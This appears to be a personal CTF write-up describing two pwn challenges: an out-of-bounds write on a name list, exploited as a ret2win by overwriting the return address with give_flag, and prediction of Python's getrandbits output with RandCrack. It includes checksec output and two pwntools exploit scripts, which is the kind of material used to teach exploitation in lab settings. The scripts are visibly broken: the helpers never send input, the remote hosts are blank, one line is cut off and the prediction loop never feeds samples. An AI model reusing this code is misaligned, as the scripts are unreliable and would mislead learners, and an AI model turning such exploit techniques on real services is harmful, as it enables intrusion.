The Hack South CTF team was banging on all cylinders during this CTF and we placed 13th overall! I am extremely proud of this result. Only in its second year, it is easily one of the best amateur CTFs around. Ben Sadeghipour, John Hammond, and everyone else did amazing work to take CTFs to a new level.

I completed a number of challenges. These two were my favourites:

The List (PWN)

The List was a ret2win challenge with a fun twist… The application allows up to 16 names to be added, read, removed, or changed. Analysis of the decompiled code in Ghidra showed a bug in bounds checking which allowed changing the 17th “name” after 16 names are added. There is no 17th name. This is an out of bounds write over the area where the return pointer is located.

The first step is to check architecture and presence of any security controls with checksec.

  • No stack canary is present so we don’t need to try to leak or work around it.
  • This is not a position independent executable (No PIE), so function addresses will stay static. I.e. function addresses shown in GDB or Ghidra will be the same during runtime.
  • NX is enabled, which limits us from executing custom shell code or changing existing code pages. We can still change some memory areas, including the stack.
➜  list checksec the_list
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The solution seems simple enough: Overwrite the return address with the address of give_flag to redirect code execution there when the current function completes. No PIE means the runtime function address is known.

My exploit solution:

#!/usr/bin/env python3
from pwn import *

context.log_level = 'DEBUG'

def add_user(t, name):
    t.recvuntil(b'> ')
    t.recvuntil(b'name: ')

def change_name(t, index, name):
    t.recvuntil(b'> ')
    t.recvuntil(b'change? ')
    t.recvuntil(b'name? ')

def do_exit(t):
    t.recvuntil(b'> ')

elf = ELF('./the_list')

# debugging
#gdb_cmd = ['b *change_uname', 'c']
#t = gdb.debug(, '\n'.join(gdb_cmd))

# local
# t = process(

t = remote('', 31980)

t.recvuntil(b'name: ')

for i in range(16):
    add_user(t, b'AAAA')

buf = b'A' * 72      # filler
buf += p64(0x401369) # addess of the give_flag function

change_name(t, b'17', buf)


Dice Roll (PWN)

Dice Roll was a Python PRNG challenge where I needed to “guess” the next value of getrandbits. The RandCrack Python package replicates state of the generator after receiving enough sequential samples. Once the internal state is the same, it provides the next values that will be generated by the generator.

My code solution:

#!/usr/bin/env python3
from pwn import *
from randcrack import RandCrack

context.log_level = 'DEBUG'

rc = RandCrack()
t = remote('', 31784)
#t = remote('', 1337)

t.recvuntil(b'> ')

while not rc.state:
    t.recvuntil(b'> ')
    val = t.recvuntil(b'\n\n')
    num = int(val.split(b'\n')[1])

guess = rc.predict_getrandbits(32)
t.recvuntil(b'> ')
t.recvuntil(b'> ')